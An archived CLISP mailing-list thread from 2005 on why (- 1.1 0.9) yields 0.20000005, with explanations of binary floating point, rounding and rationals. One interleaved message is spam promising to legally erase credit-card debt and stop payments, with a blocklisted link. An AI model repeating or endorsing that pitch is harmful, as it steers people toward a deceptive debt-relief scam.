List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 22 15:21:34 2005 X-Original-Date: Sat, 23 Jul 2005 00:17:43 +0200 Sam Steingold wrote: >>[1]> (- 1.1 0.9) >>0.20000005 > this is a normal round-off error. > Allegro returns the same. > It's hardly making me feel better about it. It's still a bug, and quite nasty one for lang in which (+ 1/3 1/3 1/3) equals 1. Anyway, if I'll manage to fix it I'll send You a patch. Best regards, Mike From michal@sfires.net Fri Jul 22 17:08:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dw7ZG-0001eD-24 for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 17:08:38 -0700 Received: from grendel.sisk.pl ([217.67.200.140] helo=mail.digitalservice.pl ident=[/zMKeWtO4NE0t0lAL7a0LeN1OALRMtDm]) by mail.sourceforge.net with smtp (Exim 4.44) id 1Dw7ZE-0006sN-Ee for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 17:08:38 -0700 Received: (qmail 29384 invoked from network); 23 Jul 2005 00:06:35 -0000 Received: from localhost (?7Bp9JaqSSYQVEMwUqwEdPROa/OkQ1Lii?@127.0.0.1) by localhost with SMTP; 23 Jul 2005 00:06:35 -0000 Received: from mail.digitalservice.pl ([127.0.0.1]) by localhost (grendel [127.0.0.1]) (amavisd-new, port 10024) with SMTP id 29348-01 for ; Sat, 23 Jul 2005 02:06:27 +0200 (CEST) Received: (qmail 29375 invoked from network); 23 Jul 2005 00:06:26 -0000 Received: from localhost (HELO ?192.168.1.32?) (?SBmDR4VkCUbrZdySQuVAVuPwx0Nmqkjt?@127.0.0.1) by localhost with SMTP; 23 Jul 2005 00:06:26 -0000 Message-ID: <42E18A0B.60800@sfires.net> From: michal kabata User-Agent: Mozilla Thunderbird 1.0.2 (X11/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at grendel.digitalservice.pl using MkS_Vir for Linux (beta) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] numbers - ending Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 22 17:10:06 2005 X-Original-Date: Sat, 23 Jul 2005 02:06:35 +0200 Hi, thanks for all the answers, escpecialy to Pascal Bourguignon and Matthias Buelow. Just to straighten things out a bit - for me it's not the matter of fpu and the way floats are calculated. I've been trying to fight my way around it for few years. It's rather a matter of "I was expecting more" from lisp, and seeing same bug as in javascript is.. disappointing in a way. I guess I'll have to try using rationals somehow. And, just maybe, it would be a nice move to switch to doubles, and arrange readers other way round. I guess it would require some survey, what users want more by default - precision or speed. As I wrote, I'll try to think of a way around it, and I hope I'll come up with something (like using rationals if output has bigger precision then it should basing on input?), and I'll be happy to submit it for you to criticise or use. I keep wondering why I never saw it before... Best regards Mike From chanchal.p@anandgroupindia.com Fri Jul 22 20:13:51 2005 Received: from sc8-sf-list2-b.sourceforge.net ([10.3.1.8] helo=sc8-sf-list2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DwASU-0001w6-7M; Fri, 22 Jul 2005 20:13:50 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list2.sourceforge.net with esmtp (Exim 4.30) id 1DwASS-0003xn-Ni; Fri, 22 Jul 2005 20:13:48 -0700 Received: from [218.82.254.94] (helo=anandgroupindia.com) by mail.sourceforge.net with smtp (Exim 4.44) id 1DwASP-0002VS-Tw; Fri, 22 Jul 2005 20:13:48 -0700 Message-ID: <5D66F13F.9B12E0D@anandgroupindia.com> Reply-To: "johnnie walker" From: "johnnie walker" User-Agent: MOMENTUM (3.0 build(25) [Asynch]) X-Accept-Language: en-us MIME-Version: 1.0 To: "Man Carroll" Cc: , , , Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.7 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.6 URIBL_SBL Contains an URL listed in the SBL blocklist [URIs: stateoftheartveryeffective.com] Subject: [clisp-list] You do not Continue to make Paymeents To the Caard companies. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 22 20:15:29 2005 X-Original-Date: Fri, 22 Jul 2005 21:12:24 +0600 Calls about late payments are discontinued dead in their tracks. "WOW do you have a happy customer. As you know I asked your company to completely E L I M I N A T E all of my $51,000.00 in C A R D Balances. I was able to dis-continue making ALL payments immediately without using bankruptcy, consolidation, or cr counseling. I'M back in C O N T R O L and ALL of my balances, penalties, and fees are gone legally and lawfully forever. You claim to be the best in the country and they're right! I will be telling all of my family and friends to telephone you. They would be crazy not to telephone you immediately. Thanks again, you have given me a fresh beginning". John C in Texas We could do the same for you. Visit us and we can give you additional indepth details about our system at 0 charge or obligation. You have nothing to lose and everything to gain. http://fgl.1Yes.stateoftheartveryeffective.com/45/ Above for additional info or to discontinue receiving or to see our address. Suddenly Rob remembered that he could assist them, and took the box of concentrated food tablets from his pocket. Eat these, he said, offering one of each to the sailors At first they could not understand that these small tablets would be able to allay the pangs of hunger; but when Rob explained their virtues the men ate them greedily From Devon@Jovi.Net Fri Jul 22 20:19:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DwAYL-0002El-23 for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 20:19:53 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1DwAYJ-0003oX-M2 for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 20:19:53 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j6N3JZ7p024996 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 22 Jul 2005 23:19:36 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j6N3JZ4h024993; Fri, 22 Jul 2005 23:19:35 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200507230319.j6N3JZ4h024993@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon@Jovi.Net To: michal kabata CC: clisp-list@lists.sourceforge.net In-reply-to: <42E17087.1020702@sfires.net> (message from michal kabata on Sat, 23 Jul 2005 00:17:43 +0200) Subject: Re: [clisp-list] Re: numbers - error in substraction References: <42E15E81.7040008@sfires.net> <42E17087.1020702@sfires.net> X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00, NO_REAL_NAME autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Fri, 22 Jul 2005 23:19:41 -0400 (EDT) X-Spam-Score: -0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name -0.7 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 22 20:21:09 2005 X-Original-Date: Fri, 22 Jul 2005 23:19:35 -0400 (EDT) main(){printf("%1.8f\n",(float)1.1-(float)0.9);} --> 0.20000005 From marcoxa@cs.nyu.edu Sat Jul 23 10:27:48 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DwNmt-00062a-Ji for clisp-list@lists.sourceforge.net; Sat, 23 Jul 2005 10:27:47 -0700 Received: from bioinformatics.cims.nyu.edu ([216.165.110.10] helo=bioinformatics.nyu.edu) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DwNmr-0003We-64 for clisp-list@lists.sourceforge.net; Sat, 23 Jul 2005 10:27:47 -0700 Received: from [68.173.221.130] (account marcoxa HELO [192.168.0.2]) by bioinformatics.nyu.edu (CommuniGate Pro SMTP 4.1.5) with ESMTP-TLS id 341463 for clisp-list@lists.sourceforge.net; Sat, 23 Jul 2005 13:27:37 -0400 Mime-Version: 1.0 (Apple Message framework v622) In-Reply-To: <42E18A0B.60800@sfires.net> References: <42E18A0B.60800@sfires.net> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <3d9a5abc7b52e1b525ccdec417c108c3@cs.nyu.edu> Content-Transfer-Encoding: 7bit From: Marco Antoniotti Subject: Re: [clisp-list] numbers - ending To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.622) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 23 10:29:35 2005 X-Original-Date: Sat, 23 Jul 2005 13:27:19 -0400 On Jul 22, 2005, at 8:06 PM, michal kabata wrote: > Hi, > > thanks for all the answers, escpecialy to Pascal Bourguignon and > Matthias Buelow. Just to straighten things out a bit - for me it's not > the matter of fpu and the way floats are calculated. I've been trying > to fight my way around it for few years. It's rather a matter of "I > was expecting more" from lisp, and seeing same bug as in javascript > is.. disappointing in a way. I guess I'll have to try using rationals > somehow. And, just maybe, it would be a nice move to switch to > doubles, and arrange readers other way round. I guess it would require > some survey, what users want more by default - precision or speed. I think your expectations are too high. You cannot work around this as long as you eventually go down to whichever floating point treatment your CPU is offering you. > As I wrote, I'll try to think of a way around it, and I hope I'll come > up with something (like using rationals if output has bigger precision > then it should basing on input?), and I'll be happy to submit it for > you to criticise or use. Rationals may pretty much do it for you, but then again, do not expect performance. Rational computations often get in the bignum territory pretty fast. At that point you are in pure software territory. Cheers -- Marco Antoniotti http://bioinformatics.nyu.edu NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From michal@sfires.net Sat Jul 23 15:05:14 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DwS7M-0007Nn-Iq for clisp-list@lists.sourceforge.net; Sat, 23 Jul 2005 15:05:12 -0700 Received: from grendel.sisk.pl ([217.67.200.140] helo=mail.digitalservice.pl ident=[iDwvEul9rwJzMQPclvsEBVdg6P64vznl]) by mail.sourceforge.net with smtp (Exim 4.44) id 1DwS7J-00067k-1c for clisp-list@lists.sourceforge.net; Sat, 23 Jul 2005 15:05:12 -0700 Received: (qmail 11212 invoked from network); 23 Jul 2005 22:03:18 -0000 Received: from localhost (?Ntl6kta8thL+faG8SH+3hxyky/Tt7bPU?@127.0.0.1) by localhost with SMTP; 23 Jul 2005 22:03:18 -0000 Received: from mail.digitalservice.pl ([127.0.0.1]) by localhost (grendel [127.0.0.1]) (amavisd-new, port 10024) with SMTP id 10819-09 for ; Sun, 24 Jul 2005 00:03:06 +0200 (CEST) Received: (qmail 11196 invoked from network); 23 Jul 2005 22:03:06 -0000 Received: from localhost (HELO ?192.168.1.32?) (?SOo1vPXLQ6/ICS9gKAHMtMB6wKd4Atoy?@127.0.0.1) by localhost with SMTP; 23 Jul 2005 22:03:06 -0000 Message-ID: <42E2BE9A.4010503@sfires.net> From: michal kabata User-Agent: Mozilla Thunderbird 1.0.2 (X11/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: Marco Antoniotti Subject: Re: [clisp-list] numbers - ending References: <42E18A0B.60800@sfires.net> <3d9a5abc7b52e1b525ccdec417c108c3@cs.nyu.edu> In-Reply-To: <3d9a5abc7b52e1b525ccdec417c108c3@cs.nyu.edu> Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at grendel.digitalservice.pl using MkS_Vir for Linux (beta) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 23 15:06:46 2005 X-Original-Date: Sun, 24 Jul 2005 00:03:06 +0200 Marco Antoniotti wrote: > > I think your expectations are too high. You cannot work around this as > long as you eventually go down to whichever floating point treatment > your CPU is offering you. > Well, I think my expectations are realistic (rationals can do it for me, as you said it yourself), but my point of view may be a bit different. I find floating point design a faulty idea, so I usualy work my way around by avoiding floats. Designing something that must approximate values like 1/3 or 1/5 is a bit sick in my opinion. The bug related to my problem only reinforces my opinion about floats. Btw, if anyone would be interested why the cursed 1.1 - 0.9 != 0.2, I've put two files on the web, that may explain something - http://ai.no-ip.org/floats and http://ai.no-ip.org/floats1. Problem seems to be in calculation of the exponent, but thats only a first impression I got. This is of course more general then only this one expression. > > Rationals may pretty much do it for you, but then again, do not expect > performance. Rational computations often get in the bignum territory > pretty fast. At that point you are in pure software territory. > I sure hope so and performance is not what I need, luckly. If I need performace I still tend to write in pure C. I write mostly AI related stuff, and rather the kind that can run even few hours longer without causing me any trouble. Therefor I don't need high performance but I need reliability, and such errors are something I can't allow. Best regards, Mike From pjb@informatimago.com Sat Jul 23 16:06:20 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DwT4R-00016Y-Bw for clisp-list@lists.sourceforge.net; Sat, 23 Jul 2005 16:06:15 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DwT4O-0000VN-Id for clisp-list@lists.sourceforge.net; Sat, 23 Jul 2005 16:06:15 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 0D3D65833D; Sun, 24 Jul 2005 01:05:58 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id C03DB582FA; Sun, 24 Jul 2005 01:05:48 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 9A68110FBF3; Sun, 24 Jul 2005 01:05:47 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17122.52555.584951.551035@thalassa.informatimago.com> To: michal kabata Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] numbers - ending In-Reply-To: <42E18A0B.60800@sfires.net> References: <42E18A0B.60800@sfires.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 23 16:08:50 2005 X-Original-Date: Sun, 24 Jul 2005 01:05:47 +0200 michal kabata writes: > I keep wondering why I never saw it before... Perhaps because you're not a "Computer Scientist"? ;-) I should have mentionned: "What Every Computer Scientist Should Know About Floating-Point Arithmetic" http://docs.sun.com/source/806-3568/ncg_goldberg.html too. -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From pjb@informatimago.com Sat Jul 23 16:35:25 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DwTWf-0002Bi-47 for clisp-list@lists.sourceforge.net; Sat, 23 Jul 2005 16:35:25 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DwTWa-0005dD-7X for clisp-list@lists.sourceforge.net; Sat, 23 Jul 2005 16:35:25 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id AD7CE5833D; Sun, 24 Jul 2005 01:35:05 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 6871F582FA; Sun, 24 Jul 2005 01:34:55 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 6ADF710FBF3; Sun, 24 Jul 2005 01:34:54 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17122.54302.384321.187826@thalassa.informatimago.com> To: michal kabata Cc: clisp-list@lists.sourceforge.net, Marco Antoniotti Subject: Re: [clisp-list] numbers - ending In-Reply-To: <42E2BE9A.4010503@sfires.net> References: <42E18A0B.60800@sfires.net> <3d9a5abc7b52e1b525ccdec417c108c3@cs.nyu.edu> <42E2BE9A.4010503@sfires.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 23 16:36:33 2005 X-Original-Date: Sun, 24 Jul 2005 01:34:54 +0200 michal kabata writes: > Marco Antoniotti wrote: > > > > I think your expectations are too high. You cannot work around this as > > long as you eventually go down to whichever floating point treatment > > your CPU is offering you. > > > Well, I think my expectations are realistic (rationals can do it for me, > as you said it yourself), but my point of view may be a bit different. > I find floating point design a faulty idea, so I usualy work my way > around by avoiding floats. Designing something that must approximate > values like 1/3 or 1/5 is a bit sick in my opinion. > The bug related to my problem only reinforces my opinion about floats. > Btw, if anyone would be interested why the cursed 1.1 - 0.9 != 0.2, I've > put two files on the web, that may explain something - > http://ai.no-ip.org/floats and http://ai.no-ip.org/floats1. Problem > seems to be in calculation of the exponent, but thats only a first > impression I got. This is of course more general then only this one > expression. It's not so much the exponent that's the problem than the BASE of the mantisa and the exponent. First, mathematically and scientifically, there is no problem in 1.1E0 - 0.9E0 giving 2.00000005E0. These are floating point numbers and they're known not to behave like mathematical real numbers. Scientific numerical calculations with floating point numbers take into account these phenomena. You're teached in physics not to keep more than the number of significant digits, so if the input is given with 1 digit after the coma, we compute the formula and keep only one digit after the coma, so we know that 1.1-0.9 is computed as 1.1E0-0.9E0=2.00000005E0 gives 2.0. Now, for financial computing and other non-scientific needs, two ways are implemented to archive expected results. The first is to automate te above consideration. We compute with the 6 significant digits of float, but at the end we round the result: (* (round (- 1.1 0.9) 0.1) 0.1) --> 0.2 This is what is done by pocket calculators, which usually compute with 13 significant digits but display only 11 significant digits. The alternative, which was implemented often in early computers, is to use floating point numbers with decimal base instead of binary base. Then there's no approximation for base conversion. For scientific computing, this makes no difference there still remains the normal computing errors of all floating points (that's why it has not been kept, binary numbers are more efficient in a computer), but for simple business computing it gives seemingly exact results. > > Rationals may pretty much do it for you, but then again, do not expect > > performance. Rational computations often get in the bignum territory > > pretty fast. At that point you are in pure software territory. > > > I sure hope so and performance is not what I need, luckly. If I need > performace I still tend to write in pure C. > I write mostly AI related stuff, and rather the kind that can run even > few hours longer without causing me any trouble. Therefor I don't need > high performance but I need reliability, and such errors are something I > can't allow. I bet for your problem the best will be to keep track of the precision of your numbers and to round the results. It's not too hard for simple operations. If you have long chains of computing, then you must analyze the error propagation, like for any other numerical algorithm. The alternative could be to implement decimal floating point numbers, but here you're on your own: all contemporaneous floating point hardware is binary based. (But most CPU still have a BCD add and subtract). -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From michal@sfires.net Sun Jul 24 01:04:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DwbSt-0004sy-35 for clisp-list@lists.sourceforge.net; Sun, 24 Jul 2005 01:04:03 -0700 Received: from grendel.sisk.pl ([217.67.200.140] helo=mail.digitalservice.pl ident=[h9H5rYlzVeE23jjqDmbloS0kMZ4a6gGC]) by mail.sourceforge.net with smtp (Exim 4.44) id 1DwbSr-0002wQ-DM for clisp-list@lists.sourceforge.net; Sun, 24 Jul 2005 01:04:02 -0700 Received: (qmail 19739 invoked from network); 24 Jul 2005 08:02:16 -0000 Received: from localhost (?f61F9s/rl0rUEq6OaMsMWucI0XNk2pEw?@127.0.0.1) by localhost with SMTP; 24 Jul 2005 08:02:16 -0000 Received: from mail.digitalservice.pl ([127.0.0.1]) by localhost (grendel [127.0.0.1]) (amavisd-new, port 10024) with SMTP id 19471-04 for ; Sun, 24 Jul 2005 10:02:04 +0200 (CEST) Received: (qmail 19724 invoked from network); 24 Jul 2005 08:02:03 -0000 Received: from localhost (HELO ?192.168.1.32?) (?mUKBc1FVZ2h3Y06PkC7kRVIMl+08+ADn?@127.0.0.1) by localhost with SMTP; 24 Jul 2005 08:02:04 -0000 Message-ID: <42E34AF8.9040408@sfires.net> From: michal kabata User-Agent: Mozilla Thunderbird 1.0.2 (X11/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: pjb@informatimago.com CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] numbers - ending References: <42E18A0B.60800@sfires.net> <17122.52555.584951.551035@thalassa.informatimago.com> In-Reply-To: <17122.52555.584951.551035@thalassa.informatimago.com> Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at grendel.digitalservice.pl using MkS_Vir for Linux (beta) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 24 01:05:55 2005 X-Original-Date: Sun, 24 Jul 2005 10:02:00 +0200 Pascal Bourguignon wrote: > michal kabata writes: > >>I keep wondering why I never saw it before... > > > Perhaps because you're not a "Computer Scientist"? ;-) > Guess again. Anyway, I ment lisp, and possibly correct guess should be that I have too little experience with lisp and too high opinion about those who write it. > I should have mentionned: > "What Every Computer Scientist Should Know About Floating-Point Arithmetic" > http://docs.sun.com/source/806-3568/ncg_goldberg.html > too. > Oh please... Anyway, I ment to end this discussion and I hope this is the last try. Thanks for all work-around ideas. I wrote the first email with silly hope that you just might be interested in a fact that clisp is _making an error_ (like most other langs, ok - but is that excause?). I guess OpenSource on one side and pride on the other. I can understand your way of thinking, someone who reports such trivial bug must be an idiot who you can insult all the way. I would be very happy to report any more serious bugs inf future, but so happened that I encounter this one, and in my opinion _in lisp_ this is a bug. Remember all those fantastic words in most books about lisp that "lisp is always doing the right thing with numbers"? Well it does not in this case. BTW: - mathematically 1.1-0.9 is not greater or less then 0.2, just equal, so don't say that such computation is correct mathematically. And if something is behaving not like mathematical number then how could it be mathematically correct? - base is very very related to "calculation of the exponent", thats why I wrote about calculation, not the exponent - if you are teached in physics not to do it, then why clisp does it? for basics operations (-,+,*) I can't see the need to keep garbage after the digits you expect in result So again, for me this is EOT. Since I'm begining to get more insults that meritoric answers and I don't see anyone interested in fixing this. Best regards, Mike From pjb@informatimago.com Sun Jul 24 02:13:33 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DwcY8-0007A1-SD for clisp-list@lists.sourceforge.net; Sun, 24 Jul 2005 02:13:32 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1DwcY5-0008NN-0M for clisp-list@lists.sourceforge.net; Sun, 24 Jul 2005 02:13:32 -0700 Received: by larissa.informatimago.com (Postfix on 